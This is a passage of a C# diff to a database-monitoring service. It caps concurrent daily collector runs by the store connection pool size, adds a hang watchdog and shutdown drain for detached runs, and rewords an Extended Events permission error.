             {
                 var refusedIn = CollectorFaultDatabase.For(ex, fallback: null);
-                server.LongQueryTraceFault = refusedIn is null
-                    ? $"XE session {LongQueryCompletionsCollector.XeSessionName} could not be created, so no completions can be captured until it is: {ex.Message}"
-                    : $"XE session {LongQueryCompletionsCollector.XeSessionName} could not be created in any monitored database (first refusal in [{refusedIn}]), so no completions can be captured until it is: {ex.Message}";
+                /* #4961: this install's own session, named from its id. With no id there is no name to give. */
+                var sessionLabel = runner.LongQuerySessionName() ?? "(unnamed: this install has no id)";
+
+                /* #4961: the sentence about Azure SQL Database's caps rides on a failed create or start there, and on nothing else. */
+                var refusal = AlwaysOnXeSessions.DescribeFailure(ex);
+                var where = refusedIn is null ? string.Empty : $" in any monitored database (first refusal in [{refusedIn}])";
+                server.LongQueryTraceFault = permissionDenied
+                    ? $"XE session {sessionLabel} could not be created{where} because the monitoring login lacks the permission to create Extended Events sessions (ALTER ANY EVENT SESSION on-premises, CREATE ANY DATABASE EVENT SESSION on Azure SQL Database), so no completions can be captured until it is granted: {refusal}"
+                    : $"XE session {sessionLabel} could not be created{where}, so no completions can be captured until it is: {refusal}";
+                server.LongQueryTraceFaultIsPermission = permissionDenied;
                 server.LongQueryTracePartialNote = null;
             }
         }
@@ -4682,6 +5448,10 @@ refuses first and this loop no longer reaches here. Kept because it is the hones
     /// </summary>
     private readonly ConcurrentDictionary<int, QueryStoreServerGate> _queryStoreGates = new();
 
+    /// <summary>#5003: which collector failures have already had their stack written to the service log since this
+    /// process started. Read and written by every concurrent collector run, so it is a concurrent table inside.</summary>
+    private readonly CollectorFaultStackLog _collectorFaultStacks = new();
+
     /// <summary>
     /// #2717: one <see cref="DetachedCollectorGate"/> per (server, collector) for every collector fired
     /// detached from <see cref="RunDueCollectorsAsync"/>'s sequential body other than query_store (which
@@ -4693,148 +5463,625 @@ refuses first and this loop no longer reaches here. Kept because it is the hones
     private readonly ConcurrentDictionary<(int ServerId, string CollectorName), DetachedCollectorGate> _detachedCollectorGates = new();
 
     /// <summary>
-    /// #2219: whether this is the PostgreSQL statement-stats collector, whose success is what triggers a text
-    /// refresh. Compared against the collector's OWN declared name rather than a literal, so renaming it cannot
-    /// silently unhook the text path — the same reasoning as <see cref="IsQueryStoreCollector"/>.
+    /// #4999: drops every slot in <see cref="_detachedCollectorGates"/> held under this server id, when the server is
+    /// removed from the monitored set. The slots are never pruned otherwise, and the id is the registration's, so a
+    /// server added back has the removed one's id: a slot its removed state's run still holds (going, or queued for
+    /// a permit) would make the new state's first daily run skip, which costs a day. The run that holds the old slot
+    /// keeps the object it took and releases it when it ends, and nothing else refers to it by then. Only this
+    /// server's slots go: another server's run that is still going keeps its slot. A run of the removed state that is
+    /// already past its slot and still going is not stopped, so the added-back server's first run can overlap it once.
     /// </summary>
-    internal static bool IsPgStatementStatsCollector(string collectorName) =>
-        string.Equals(collectorName, PgStatementStatsCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+    private void ForgetDetachedRunSlots(int serverId)
+    {
+        foreach (var key in _detachedCollectorGates.Keys)
+        {
+            if (key.ServerId == serverId)
+            {
+                _detachedCollectorGates.TryRemove(key, out _);
+            }
+        }
+    }
 
     /// <summary>
-    /// #2165: whether a dispatched collector name is the Query Store collector the gate covers. Compared
-    /// against the collector's OWN declared name rather than a literal, so renaming the collector cannot
-    /// silently unhook the gate and let the two loops overlap again.
+    /// #4938: the effective interval, in minutes, from which a collector counts as a daily one: it runs detached
+    /// from its server's sequential pass instead of inside it. Applied to the interval the schedule resolves for
+    /// that server (<see cref="CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes"/>), so it covers the
+    /// five on-load collectors' once-a-day recapture, the catalog's 1440-minute collectors, and any collector an
+    /// operator slows to a day or more.
     /// </summary>
-    internal static bool IsQueryStoreCollector(string collectorName) =>
-        string.Equals(collectorName, QueryStoreCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+    internal const int DailyCollectorIntervalMinutes = 1440;
 
     /// <summary>
-    /// #2717: whether a dispatched collector name is plan_correction — the second collector detached from
-    /// the sequential body for the same bimodal-cost reason query_store was in #2701. Compared against the
-    /// collector's OWN declared name rather than a literal, for the same renaming-safety reason as
-    /// <see cref="IsQueryStoreCollector"/>.
+    /// #4938: the most detached daily runs that may be going at once across the whole fleet. Each holds a connection
+    /// to its monitored server and one to the store for as long as it runs (index_object_stats took 43 minutes
+    /// across 72 databases in a field case), so the cap is what bounds the load that daily work can add beside the
+    /// sweep. A run over the cap waits for a permit and is never dropped.
+    ///
+    /// <para>#4999: this is the ceiling, and the cap in force is never above it. The store's connection pool bounds
+    /// it too, because a daily run holds a store connection for its whole run: see <see cref="DailyRunCapFor"/>.</para>
     /// </summary>
-    internal static bool IsPlanCorrectionCollector(string collectorName) =>
-        string.Equals(collectorName, PlanCorrectionCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+    internal const int MaxConcurrentDailyRuns = 16;
 
     /// <summary>
-    /// #3754: whether a dispatched collector name is <c>long_query_completions</c> — the one collector whose
-    /// XE session is reconciled OUTSIDE its run (per sweep, following its enabled flag both ways, #1496), so
-    /// the run has to be told what that reconcile could not do: <see cref="ServerLoopState.LongQueryTraceFault"/>
-    /// and <see cref="ServerLoopState.LongQueryTracePartialNote"/> are read for this collector alone.
-    /// Compared against the collector's OWN declared name rather than a literal, for the same renaming-safety
-    /// reason as <see cref="IsQueryStoreCollector"/>.
+    /// #4999: how many connections of the store pool the daily-run cap leaves free for everything that is neither a
+    /// sweep body nor a daily run: the MCP tools, the web viewer's reads and the alert reads each borrow one for the
+    /// length of a query. Eight is a ruled round number, room for a handful of those reads at once, and not a
+    /// measured peak. The point of it is which side waits: a daily run that waits for a permit costs nothing, and
+    /// a read that waits for a connection is a stall someone sees. It is a constant and not a setting, so the cap
+    /// has one rule to explain.
     /// </summary>
-    internal static bool IsLongQueryCompletionsCollector(string collectorName) =>
-        string.Equals(collectorName, LongQueryCompletionsCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+    internal const int DailyRunPoolReserve = 8;
 
     /// <summary>
-    /// #3604: whether a dispatched collector name is <c>pg_wait_sampling</c> — the third collector detached
-    /// from the sequential body, and the first detached for a DELIBERATE run length rather than a bimodal
-    /// one. Its sampler arm holds its connection for thirty one-second snapshots per cycle by design; awaited
-    /// inline that would delay every other collector on a stock PostgreSQL target by half a minute every five,
-    /// which is the #2700 starvation with a known cause. Detached behind the generic per-(server, collector)
-    /// gate, a still-running window simply skips the tick — and it cannot still be running, because the run is
-    /// 30 s and the cadence is 300 s; the gate is there for the day someone lengthens the window. On the
-    /// extension arm the run is a 500-row read and the detach costs nothing. Compared against the collector's
-    /// OWN declared name, for the renaming-safety reason the two siblings state.
+    /// #4999: how many detached daily runs may go at once, given the store connection pool's size and the sweep
+    /// width. Every daily run holds a store connection for its whole run and so does every sweep body, so the runs
+    /// get what the pool has left after the sweep and <see cref="DailyRunPoolReserve"/>: the smaller of
+    /// <see cref="MaxConcurrentDailyRuns"/> and (pool size - sweep width - reserve), and never below one so daily
+    /// collection still happens on a pool that is too small. A pool of 24 and a sweep width of 9 gives 7; a pool of
+    /// 100 gives 16. A null pool size means the pool bounds nothing (pooling is off), so the ceiling applies.
     /// </summary>
-    internal static bool IsPgWaitSamplingCollector(string collectorName) =>
-        string.Equals(collectorName, PgWaitSamplingCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+    internal static int DailyRunCapFor(int? poolMaxSize, int sweepWidth)
+    {
+        if (poolMaxSize is not { } poolMax)
+        {
+            return MaxConcurrentDailyRuns;
+        }
+
+        return (int)Math.Clamp((long)poolMax - sweepWidth - DailyRunPoolReserve, 1, MaxConcurrentDailyRuns);
+    }
 
     /// <summary>
-    /// #2219: refreshes this PostgreSQL server's statement text if it is due, and swallows everything if not.
-    ///
-    /// <para><b>Best-effort by construction.</b> It runs after the statistics have already been collected and
-    /// logged, so nothing here can cost a collection: unreadable text is a degraded read, a lost collection is
-    /// lost data, and those are not the same severity. Every fault mode — the target refusing
-    /// <c>aurora_stat_statements</c>, a store write failing, the cadence query erroring — logs once and leaves
-    /// the statistics intact.</para>
-    ///
-    /// <para><b>Due-ness is asked of the STORE</b> (<see cref="PgStatementText.IsDueSql"/>), not remembered here.
-    /// A restart therefore cannot re-fetch the fleet, and two hosts writing one store cannot disagree about when
-    /// text was last written. The same <c>now</c> is used for the decision and the rows it stamps, so the cadence
-    /// cannot drift against its own timestamps.</para>
-    ///
-    /// <para>Only for PostgreSQL targets: <c>aurora_stat_statements</c> does not exist elsewhere, and the
-    /// statement-stats collector is already engine-gated, so this mirrors that gate rather than trusting it.</para>
+    /// #5479: how many servers the fleet self-alert pass evaluates at once, given the sweep width: the smaller of the
+    /// width and half of <see cref="DailyRunPoolReserve"/> (so at most 4). The pass is nothing but store reads, and they
+    /// run beside the sweep bodies and the daily runs, which <see cref="DailyRunCapFor"/> already counts. Those reads are
+    /// the alert reads the reserve is documented to cover, so the pass spends at most half of it and the web viewer's and
+    /// the MCP tools' reads always keep the other half. A pool of 24 with a sweep width of 16 runs 16 bodies, the pass at
+    /// 4, and a daily-run cap of 1: 21 of 24, with 3 left. The same pass at the full width of 16 would need 33.
     /// </summary>
-    private async Task TryRefreshPgStatementTextAsync(ServerRuntime runtime, CancellationToken cancellationToken)
+    internal static int SelfAlertPassWidthFor(int sweepWidth) =>
+        Math.Max(1, Math.Min(StoreConfigProvider.ClampConcurrentSweeps(sweepWidth), DailyRunPoolReserve / 2));
+
+    /// <summary>
+    /// #4999: the largest number of connections the store's data source will hold open, read from the connection
+    /// string the data source was built with, so it is the operator's <c>Maximum Pool Size</c> and not the managed
+    /// default. A string that names none gets Npgsql's own default (100). Null when the data source is null or
+    /// pooling is off, which leaves the pool bounding nothing.
+    /// </summary>
+    internal static int? StorePoolMaxSize(NpgsqlDataSource? dataSource)
     {
-        if (runtime.Target.Engine != CollectorTargetEngine.PostgreSql)
+        if (dataSource is null)
         {
-            return;
+            return null;
         }
 
         try
         {
-            var now = PgStatementText.Naive(DateTime.UtcNow);
-            var due = now - PgStatementText.RefreshInterval;
+            var builder = new NpgsqlConnectionStringBuilder(dataSource.ConnectionString);
+            return builder.Pooling ? builder.MaxPoolSize : null;
+        }
+        catch (ArgumentException)
+        {
+            return null;
+        }
+    }
 
-            await using (var isDue = _postgres!.CreateCommand(PgStatementText.IsDueSql))
-            {
-                isDue.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
-                isDue.Parameters.AddWithValue(runtime.ServerId);
-                isDue.Parameters.AddWithValue(PgStatementText.Naive(due));
-                if (await isDue.ExecuteScalarAsync(cancellationToken) is not true)
-                {
-                    return;
-                }
-            }
+    /// <summary>
+    /// #4938, #4999: the permits behind the daily-run cap. An instance field and a limiter of its own, never a
+    /// waiting mode on <see cref="DetachedCollectorGate"/>, whose try-only contract is what makes a held
+    /// single-flight slot mean "skip this tick". A daily run takes its (server, collector) slot first and waits
+    /// here second, so a run that is still queued for a permit counts as unfinished and the next tick skips. It
+    /// starts at <see cref="MaxConcurrentDailyRuns"/> and <see cref="ApplyDailyRunCap"/> moves it to the cap the
+    /// store pool allows once the collection loop knows both.
+    /// </summary>
+    private readonly DailyRunLimiter _dailyRunPermits = new(MaxConcurrentDailyRuns);
 
-            var (queryIds, texts) = await ReadPgStatementTextAsync(runtime, cancellationToken);
-            if (queryIds.Count == 0)
-            {
-                return;
-            }
+    /// <summary>Test hook (#4999): how many detached daily runs may go at once right now.</summary>
+    internal int DailyRunCap => _dailyRunPermits.Cap;
 
-            var stamps = new DateTime[queryIds.Count];
-            Array.Fill(stamps, now);
+    /// <summary>Test hook (#4999): how many detached daily runs hold a permit right now.</summary>
+    internal int DailyRunsHoldingPermits => _dailyRunPermits.InUse;
 
-            await using var upsert = _postgres!.CreateCommand(PgStatementText.UpsertSql);
-            upsert.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
-            upsert.Parameters.AddWithValue(Enumerable.Repeat(runtime.ServerId, queryIds.Count).ToArray());
-            upsert.Parameters.AddWithValue(queryIds.ToArray());
-            upsert.Parameters.AddWithValue(texts.ToArray());
-            upsert.Parameters.AddWithValue(stamps);
-            await upsert.ExecuteNonQueryAsync(cancellationToken);
+    /// <summary>
+    /// #4999: whether <see cref="ApplyDailyRunCap"/> has logged the cap yet. The first call says what the cap is
+    /// at start, every later one only when it moved.
+    /// </summary>
+    private bool _dailyRunCapLogged;
 
-            _logger.LogInformation(
-                "  [{Server}] pg_statement_text => {Count} statement text(s) refreshed (#2219)",
-                runtime.Config.DisplayName, queryIds.Count);
+    /// <summary>
+    /// #4999: sets the daily-run cap from the store pool and the sweep width (<see cref="DailyRunCapFor"/>) and
+    /// logs the effective cap, once at start and again each time it changes. Called when the collection loop
+    /// starts and every time the sweep width moves, so the cap follows the knob. Runs already going keep their
+    /// permits when the cap narrows, and a widening starts the runs that were waiting.
+    /// </summary>
+    internal void ApplyDailyRunCap(int? poolMaxSize, int sweepWidth)
+    {
+        var cap = DailyRunCapFor(poolMaxSize, sweepWidth);
+        var changed = _dailyRunPermits.SetCap(cap);
+        if (_dailyRunCapLogged && !changed)
+        {
+            return;
         }
-        catch (OperationCanceledException)
+
+        _dailyRunCapLogged = true;
+        _logger.LogInformation(
+            "Daily collectors run at most {Cap} at a time: the smaller of {Ceiling} and the store's connection pool " +
+            "({Pool}) minus the sweep width ({Width}) minus {Reserve} kept free for reads, and at least 1 (#4999)",
+            cap, MaxConcurrentDailyRuns, poolMaxSize?.ToString(System.Globalization.CultureInfo.InvariantCulture) ?? "unbounded", sweepWidth, DailyRunPoolReserve);
+    }
+
+    /// <summary>
+    /// #4938, #4999: the detached runs that have not finished, so a shutdown can wait for them the way it waits for
+    /// the per-server bodies. They used to run inside those bodies and so inside that wait; detached, nothing else
+    /// holds on to them. That is every daily run and, since #4999, the three collectors detached by name. A run
+    /// removes itself when it ends.
+    /// </summary>
+    private readonly ConcurrentDictionary<Task, byte> _detachedRuns = new();
+
+    /// <summary>Test hook and shutdown-drain input (#4938, #4999): the detached runs that have not finished, daily and by name.</summary>
+    internal IReadOnlyCollection<Task> InFlightDetachedRuns => _detachedRuns.Keys.ToArray();
+
+    /// <summary>
+    /// #4999: the detached runs that are executing right now, one per (server, collector), which the hang watchdog
+    /// (<see cref="WatchDailyRuns"/>) reads each sweep tick: the daily runs, and the three runs detached by name
+    /// (query_store, plan_correction, pg_wait_sampling). A daily run is added once it holds its permit, so a run that
+    /// is only waiting for one is never in it: queue time is capacity pressure, not a hang, the same split the
+    /// sweep watchdog makes (<see cref="ClassifySweepEpisode"/>). A run detached by name takes no permit and is added
+    /// as it starts executing. One run per key holds because every run is added AFTER the single-flight gate that
+    /// keeps its collector to one run per server, and is removed BEFORE that gate is released: query_store's
+    /// per-server <see cref="QueryStoreServerGate"/>, the <see cref="DetachedCollectorGate"/> of plan_correction,
+    /// pg_wait_sampling and every daily run. A second run that comes due while the first is going is skipped at
+    /// the gate, before it is watched.
+    /// </summary>
+    private readonly ConcurrentDictionary<(int ServerId, string CollectorName), DailyRunWatch> _dailyRunWatches = new();
+
+    /// <summary>
+    /// #4999: starts watching one detached run that is now executing: a daily run that has just taken its permit
+    /// (<paramref name="holdsPermit"/>), or a run detached by name, which takes none. Dispose the result when the
+    /// run ends and the run is no longer watched.
+    /// </summary>
+    private DailyRunWatch BeginDailyRunWatch(string serverName, int serverId, string collectorName, bool holdsPermit)
+    {
+        var watch = new DailyRunWatch(serverId, serverName, collectorName, holdsPermit, DateTime.UtcNow, EndDailyRunWatch);
+        _dailyRunWatches[(serverId, collectorName)] = watch;
+        return watch;
+    }
+
+    /// <summary>
+    /// #4999: stops watching a detached run that ended, removing only that run's own entry, and says so when the
+    /// watchdog had already warned about it, the way a sweep body's resolution is logged.
+    /// </summary>
+    private void EndDailyRunWatch(DailyRunWatch watch)
+    {
+        _dailyRunWatches.TryRemove(new KeyValuePair<(int ServerId, string CollectorName), DailyRunWatch>(
+            (watch.ServerId, watch.CollectorName), watch));
+        if (!watch.Warned)
         {
-            throw;
+            return;
         }
-        catch (Exception ex)
+
+        var elapsedSeconds = (DateTime.UtcNow - watch.StartedUtc).TotalSeconds;
+        if (watch.HoldsPermit)
         {
-            /* Deliberately broad — see the summary. The statistics for this cycle are already stored and logged;
-               losing their text is not worth failing the sweep over. */
-            _logger.LogWarning(
-                "  [{Server}] pg_statement_text refresh failed, statistics are unaffected: {Message} (#2219)",
-                runtime.Config.DisplayName, ex.Message);
+            _logger.LogInformation(
+                "[{Server}] {Collector} daily run completed after {Elapsed:F0}s of execution",
+                watch.ServerName, watch.CollectorName, elapsedSeconds);
+        }
+        else
+        {
+            _logger.LogInformation(
+                "[{Server}] {Collector} run completed after {Elapsed:F0}s of execution",
+                watch.ServerName, watch.CollectorName, elapsedSeconds);
         }
     }
 
     /// <summary>
-    /// Reads <c>(queryid, query)</c> from the monitored PostgreSQL server with <c>showtext = true</c> (#2219).
-    /// Capped, and ordered by total execution time so a catalog larger than the cap keeps the text for the
-    /// queries anyone would actually look at rather than an arbitrary slice.
-    /// <para>#2651: the SOURCE is chosen by flavor. This read was Aurora-only, so off Aurora the text table
-    /// was never populated at all — which made get_pg_top_queries return a null query_text on every row
-    /// forever, and made test_hypothetical_index (#2612) unable to resolve a statement on the one platform
-    /// it can be tested against.</para>
+    /// #4999: seconds a detached run may execute before the hang watchdog (<see cref="WatchDailyRuns"/>) reports
+    /// it: 15 minutes, for a daily run and for each of the three runs detached by name alike. It is its own number
+    /// and not <see cref="SweepWatchdogSeconds"/>'s 60 s, because a detached run is the slow end of the catalog and a
+    /// minute is not a stall there. database_config reads every database on its server, so on a server with many
+    /// databases a healthy daily run takes minutes, and a 60 s line warned once a day, on every such server, for no
+    /// fault; query_store takes 100 to 230 s on a healthy server, so at 60 s it would have warned on every run, which
+    /// is why the three detached by name were first left out and are watched now that the line is 15 minutes. A
+    /// command deadline cannot be the measure either: a run issues many commands (database_config issues a set per
+    /// database), each bounded by its own deadline, so no single deadline bounds a whole run. A run still going after
+    /// 15 minutes is long enough past a healthy one to be worth saying so, and while it goes its server's next run
+    /// of that collector is skipped, and a daily run also keeps one of the daily-run permits. The sweep keeps its own
+    /// 60 s for its own work.
     /// </summary>
-    private static async Task<(List<long> QueryIds, List<string> Texts)> ReadPgStatementTextAsync(
-        ServerRuntime runtime, CancellationToken cancellationToken)
-    {
-        var queryIds = new List<long>();
-        var texts = new List<string>();
+    internal const int DailyRunWatchdogSeconds = 15 * 60;
 
-        /* The upsert keys on (server_id, queryid) and a batch carrying one queryid twice does not lose one
-           row - PostgreSQL aborts the whole statement with 21000, so the non-duplicate rows are lost with
-           it. Both source arms already dedupe in SQL, which is where it belongs: the fetch knows which
+    /// <summary>
+    /// #4999: the hang watchdog for detached runs, called once per sweep tick with the current time: the daily
+    /// runs and the three runs detached by name (query_store, plan_correction, pg_wait_sampling). A run that has
+    /// been executing for <see cref="DailyRunWatchdogSeconds"/> or more gets ONE Warning that names its server and
+    /// collector, the same action the sweep watchdog takes for a body that has not finished
+    /// (<see cref="ClassifySweepEpisode"/>), on a threshold of its own. Before this a stuck detached run showed only
+    /// as stale data, hours later. A run waiting for a permit is not executing and is not reported here, and its
+    /// wait is not counted toward the threshold. Returns how many runs it warned about, for the test.
+    /// </summary>
+    internal int WatchDailyRuns(DateTime nowUtc)
+    {
+        var warned = 0;
+        foreach (var watch in _dailyRunWatches.Values)
+        {
+            var runningSeconds = (nowUtc - watch.StartedUtc).TotalSeconds;
+            if (watch.Warned || runningSeconds < DailyRunWatchdogSeconds)
+            {
+                continue;
+            }
+
+            watch.MarkWarned();
+            warned++;
+            if (watch.HoldsPermit)
+            {
+                _logger.LogWarning(
+                    "[{Server}] {Collector} daily run has not completed after {Elapsed:F0}s of execution - it keeps one of the {Cap} daily-run permits and its next run is skipped until it ends (#4999)",
+                    watch.ServerName, watch.CollectorName, runningSeconds, _dailyRunPermits.Cap);
+            }
+            else
+            {
+                /* A run detached by name takes no daily-run permit, so the line does not say it keeps one. */
+                _logger.LogWarning(
+                    "[{Server}] {Collector} run has not completed after {Elapsed:F0}s of execution - its next run is skipped until it ends (#4999)",
+                    watch.ServerName, watch.CollectorName, runningSeconds);
+            }
+        }
+
+        return warned;
+    }
+
+    /// <summary>
+    /// #4938: whether a collector whose effective interval is <paramref name="effectiveIntervalMinutes"/> is a
+    /// daily one, and so runs detached (see <see cref="DailyCollectorIntervalMinutes"/>). Takes the EFFECTIVE
+    /// interval, where an on-load collector's 0 has already become its daily recapture.
+    /// </summary>
+    internal static bool IsDailyInterval(int effectiveIntervalMinutes) =>
+        effectiveIntervalMinutes >= DailyCollectorIntervalMinutes;
+
+    /// <summary>
+    /// #4938, #4999: whether a finished run's cost goes into the sweep body's peer high-water mark (#2864). Not
+    /// for a run that ran detached, and not for a budgeted collector. A detached run ran beside the body rather
+    /// than in it, finishes minutes to hours after the body that dispatched it, and would put its own duration
+    /// into whichever body is running at that moment, which then reads as slow peers that were never slow. That
+    /// holds for every detached run, so it is keyed on <see cref="RanDetached"/> and not on the budget:
+    /// pg_wait_sampling is detached and carries no budget, and its ~30 s window used to fold in.
+    /// </summary>
+    internal static bool FoldsIntoSweepPeerMark(string collectorName, bool detachedDaily) =>
+        !RanDetached(collectorName, detachedDaily) && !CollectorCatalog.HasWallClockBudget(collectorName);
+
+    /// <summary>
+    /// #4999: whether this run ran detached from the sweep body: a daily collector's scheduled run
+    /// (<paramref name="detachedDaily"/>, set by the dispatch that detaches it) or one of the three that are
+    /// detached by name (<see cref="IsDetachedByName"/>), whose every scheduled run is.
+    /// </summary>
+    internal static bool RanDetached(string collectorName, bool detachedDaily) =>
+        detachedDaily || IsDetachedByName(collectorName);
+
+    /// <summary>
+    /// #4999: folds a finished run's SQL time into the sweep body's peer high-water mark when
+    /// <see cref="FoldsIntoSweepPeerMark"/> says it counts. The write is here, not inline in the run, so a test
+    /// can watch the mark itself: that a detached run leaves it alone is a statement about the value, and the
+    /// run that would change it needs a store.
+    /// </summary>
+    internal static void FoldIntoSweepPeerMark(ServerLoopState server, string collectorName, bool detachedDaily, long sqlMs)
+    {
+        if (FoldsIntoSweepPeerMark(collectorName, detachedDaily))
+        {
+            server.SweepPeerMaxMs = (int)Math.Min(int.MaxValue, Math.Max(server.SweepPeerMaxMs, sqlMs));
+        }
+    }
+
+    /// <summary>
+    /// #4938, #4999: keeps a detached run, a daily run or one of the three detached by name, in
+    /// <see cref="InFlightDetachedRuns"/> until it ends. The removal is attached after the add, so a run that finished
+    /// in between is still removed.
+    /// </summary>
+    private void TrackDetachedRun(Task run)
+    {
+        if (run.IsCompleted)
+        {
+            return;
+        }
+
+        _detachedRuns.TryAdd(run, 0);
+        _ = run.ContinueWith(
+            static (finished, state) => ((ConcurrentDictionary<Task, byte>)state!).TryRemove(finished, out _),
+            _detachedRuns,
+            CancellationToken.None,
+            TaskContinuationOptions.ExecuteSynchronously,
+            TaskScheduler.Default);
+    }
+
+    /// <summary>
+    /// The shutdown wait for the work that is still going when the sweep loop ends (#1553): the per-server bodies and
+    /// the store ticks the caller collected (<paramref name="inFlight"/>) and, since #4938, the detached daily runs,
+    /// which used to run inside those bodies and so inside this wait, and, since #4999, the three collectors that
+    /// are detached by name. The stopping token has already cancelled them,
+    /// and a run still queued for a daily-run permit ends at once on it. None of them faults (RunDetachedAsync
+    /// contains the cancel), so the wait completes cleanly. Bounded by the drain budget, so a run that is genuinely
+    /// hung cannot hold shutdown open. A method of its own (#4938) so a test can call it; the shutdown calls it once.
+    /// </summary>
+    internal async Task DrainInFlightAsync(List<Task> inFlight)
+    {
+        inFlight.AddRange(InFlightDetachedRuns);
+
+        if (inFlight.Count > 0)
+        {
+            await Task.WhenAny(
+                Task.WhenAll(inFlight),
+                Task.Delay(s_shutdownDrainBudget, CancellationToken.None));
+        }
+    }
+
+    /// <summary>
+    /// #4938: takes one of the fleet's daily-run permits, waiting for it when all are in use. Waits on the
+    /// service's own token, so only shutdown ends the wait and a run is never dropped for waiting. The wait is
+    /// logged once, at Debug, when it starts: a run waits once, so a tick that skips behind it adds no line.
+    /// </summary>
+    private async Task<IDisposable> AcquireDailyRunPermitAsync(ServerLoopState server, string collectorName, CancellationToken cancellationToken)
+    {
+        cancellationToken.ThrowIfCancellationRequested();
+        if (!_dailyRunPermits.TryAcquire())
+        {
+            _logger.LogDebug(
+                "  [{Server}] {Collector} is waiting for one of {Cap} daily-run permits (#4938)",
+                server.Config.DisplayName, collectorName, _dailyRunPermits.Cap);
+            await _dailyRunPermits.AcquireAsync(cancellationToken);
+        }
+
+        return new DailyRunPermit(_dailyRunPermits);
+    }
+
+    /// <summary>
+    /// #4938, #4999: what a detached daily run works on once it has its permit, or <c>null</c> when it must not run.
+    /// The wait can last hours behind other daily runs, so the run asks again everything its dispatch asked, against
+    /// the server as it is now: that it is not removed and still connected (the runtime it returns is the current one,
+    /// not the one captured at dispatch), that the collector still applies to that connection's target (the engine
+    /// half and the within-engine half, both in <see cref="CollectorCatalog.AppliesTo(string, CollectorTargetInfo)"/>),
+    /// that its effective schedule still has it enabled, and that collection is not paused (the loop dispatches
+    /// nothing while it is). A run that was dispatched before the change and starts after it would otherwise collect
+    /// from a server the operator had removed, turned the collector off for, or paused.
+    ///
+    /// <para>A run skipped for the pause is put back to due. Its dispatch moved the due time a day on, and nothing
+    /// else moves a due time when collection resumes (a reload never moves one forward), so left alone it would not
+    /// run until tomorrow. The other skips need no such help: a removed server has no schedule, a collector that was
+    /// turned off is seeded again from its last run when it is turned on, and a reconnect seeds every collector that
+    /// applies.</para>
+    /// </summary>
+    private ServerRuntime? ReReadAfterPermitWait(ServerLoopState server, string collectorName)
+    {
+        if (server.Retired || server.Runtime is not { } current)
+        {
+            return null;
+        }
+
+        if (!CollectorCatalog.AppliesTo(collectorName, current.Target)
+            || !StoreConfigProvider.ResolveSchedule(collectorName, current.ServerId, _scheduleOverrides).Enabled)
+        {
+            return null;
+        }
+
+        if (!ShouldRunCollection(_paused))
+        {
+            server.NextDue[collectorName] = DateTime.UtcNow;
+            return null;
+        }
+
+        return current;
+    }
+
+    /// <summary>
+    /// #4938: one held daily-run permit. Returns it once and only once, however many times it is disposed, so a
+    /// double dispose can never hand a permit back that another run has since taken.
+    /// </summary>
+    private sealed class DailyRunPermit : IDisposable
+    {
+        private DailyRunLimiter? _permits;
+
+        public DailyRunPermit(DailyRunLimiter permits) => _permits = permits;
+
+        public void Dispose() => Interlocked.Exchange(ref _permits, null)?.Release();
+    }
+
+    /// <summary>
+    /// #2219: whether this is the PostgreSQL statement-stats collector, whose success is what triggers a text
+    /// refresh. Compared against the collector's OWN declared name rather than a literal, so renaming it cannot
+    /// silently unhook the text path — the same reasoning as <see cref="IsQueryStoreCollector"/>.
+    /// </summary>
+    internal static bool IsPgStatementStatsCollector(string collectorName) =>
+        string.Equals(collectorName, PgStatementStatsCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// #2165: whether a dispatched collector name is the Query Store collector the gate covers. Compared
+    /// against the collector's OWN declared name rather than a literal, so renaming the collector cannot
+    /// silently unhook the gate and let the two loops overlap again.
+    /// </summary>
+    internal static bool IsQueryStoreCollector(string collectorName) =>
+        string.Equals(collectorName, QueryStoreCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// #2717: whether a dispatched collector name is plan_correction — the second collector detached from
+    /// the sequential body for the same bimodal-cost reason query_store was in #2701. Compared against the
+    /// collector's OWN declared name rather than a literal, for the same renaming-safety reason as
+    /// <see cref="IsQueryStoreCollector"/>.
+    /// </summary>
+    internal static bool IsPlanCorrectionCollector(string collectorName) =>
+        string.Equals(collectorName, PlanCorrectionCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// #3754: whether a dispatched collector name is <c>long_query_completions</c> — the one collector whose
+    /// XE session is reconciled OUTSIDE its run (per sweep, following its enabled flag both ways, #1496), so
+    /// the run has to be told what that reconcile could not do: <see cref="ServerLoopState.LongQueryTraceFault"/>
+    /// and <see cref="ServerLoopState.LongQueryTracePartialNote"/> are read for this collector alone.
+    /// Compared against the collector's OWN declared name rather than a literal, for the same renaming-safety
+    /// reason as <see cref="IsQueryStoreCollector"/>.
+    /// </summary>
+    internal static bool IsLongQueryCompletionsCollector(string collectorName) =>
+        string.Equals(collectorName, LongQueryCompletionsCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// #3604: whether a dispatched collector name is <c>pg_wait_sampling</c> — the third collector detached
+    /// from the sequential body, and the first detached for a DELIBERATE run length rather than a bimodal
+    /// one. Its sampler arm holds its connection for thirty one-second snapshots per cycle by design; awaited
+    /// inline that would delay every other collector on a stock PostgreSQL target by half a minute every five,
+    /// which is the #2700 starvation with a known cause. Detached behind the generic per-(server, collector)
+    /// gate, a still-running window simply skips the tick — and it cannot still be running, because the run is
+    /// 30 s and the cadence is 300 s; the gate is there for the day someone lengthens the window. On the
+    /// extension arm the run is a 500-row read and the detach costs nothing. Compared against the collector's
+    /// OWN declared name, for the renaming-safety reason the two siblings state.
+    /// </summary>
+    internal static bool IsPgWaitSamplingCollector(string collectorName) =>
+        string.Equals(collectorName, PgWaitSamplingCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// #4999: whether a collector runs detached from its server's sequential pass BY NAME: query_store (#2700),
+    /// plan_correction (#2717) and pg_wait_sampling (#3604), each for a cost that does not belong in the pass.
+    /// The daily collectors are the other half, detached by cadence (<see cref="IsDailyInterval"/>), and the two
